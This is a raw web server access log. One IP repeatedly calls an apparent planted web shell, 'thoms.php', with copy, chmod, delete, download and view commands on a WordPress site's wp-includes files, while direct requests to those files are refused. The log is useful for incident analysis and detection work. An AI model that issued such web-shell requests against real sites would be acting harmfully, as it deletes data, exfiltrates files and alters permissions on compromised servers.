45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /thoms.php?chmod=feed-rss2-comments.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fembed.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fembed.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /thoms.php?chmod=block-patterns&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11910 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /thoms.php?del=vars.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=vars.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-site.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=https-migration.php HTTP/1.1" 200 13679 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:31 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:32 -0400] "GET /booking-wise2.com.tw/wp-includes/class-feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:32 -0400] "GET /thoms.php?chmod=shortcodes.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:32 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:32 -0400] "GET /booking-wise2.com.tw/wp-includes/error-protection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:32 -0400] "GET /thoms.php?del=view-transitions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=view-transitions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=cache.php HTTP/1.1" 200 14893 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:32 -0400] "GET /thoms.php?dl=class-wp-error.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:32 -0400] "GET /thoms.php?dl=ms-files.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=ms-files.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=capabilities.php HTTP/1.1" 200 21585 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=capabilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php HTTP/1.1" 200 13449 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-ixr-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:32 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-text-diff-renderer-inline.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /thoms.php?chmod=link-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fversion.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fversion.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /booking-wise2.com.tw/wp-includes/block-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /booking-wise2.com.tw/wp-includes/bookmark.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /thoms.php?dl=comment-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=comment-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59401 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /booking-wise2.com.tw/wp-includes/template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-customize-setting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:33 -0400] "GET /thoms.php?del=class-wp-dependency.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-dependency.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:34 -0400] "GET /thoms.php?chmod=class-wp-widget.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:34 -0400] "GET /thoms.php?del=rewrite.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59447 "http://163.245.207.76:443/thoms.php?del=rewrite.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-smtp.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-smtp.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:34 -0400] "GET /thoms.php?del=registration-functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=registration-functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:34 -0400] "GET /thoms.php?dl=theme.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:34 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:34 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-widget.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:35 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:35 -0400] "GET /thoms.php?chmod=formatting.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=formatting.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:34 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-table.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-table.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11897 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:35 -0400] "GET /thoms.php?dl=functions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:35 -0400] "GET /thoms.php?del=build&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=build&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:35 -0400] "GET /booking-wise2.com.tw/wp-includes/post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:35 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:35 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=rewrite.php HTTP/1.1" 200 18777 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fjs&p= HTTP/1.1" 200 12400 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /thoms.php?chmod=canonical.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-icons-registry.php HTTP/1.1" 200 14901 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-icons-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fdeprecated.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fdeprecated.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /thoms.php?chmod=style-engine.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fimages&p= HTTP/1.1" 200 12398 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /thoms.php?dl=compat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=compat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /thoms.php?dl=post-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=post-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /thoms.php?chmod=block-patterns.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:36 -0400] "GET /thoms.php?del=class-walker-category.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=class-walker-category.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:37 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59388 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:37 -0400] "GET /thoms.php?del=class-wp-term.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:37 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:37 -0400] "GET /thoms.php?chmod=ms-site.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcache-compat.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcache-compat.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:37 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:44:37 -0400] "GET /thoms.php?dl=author-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
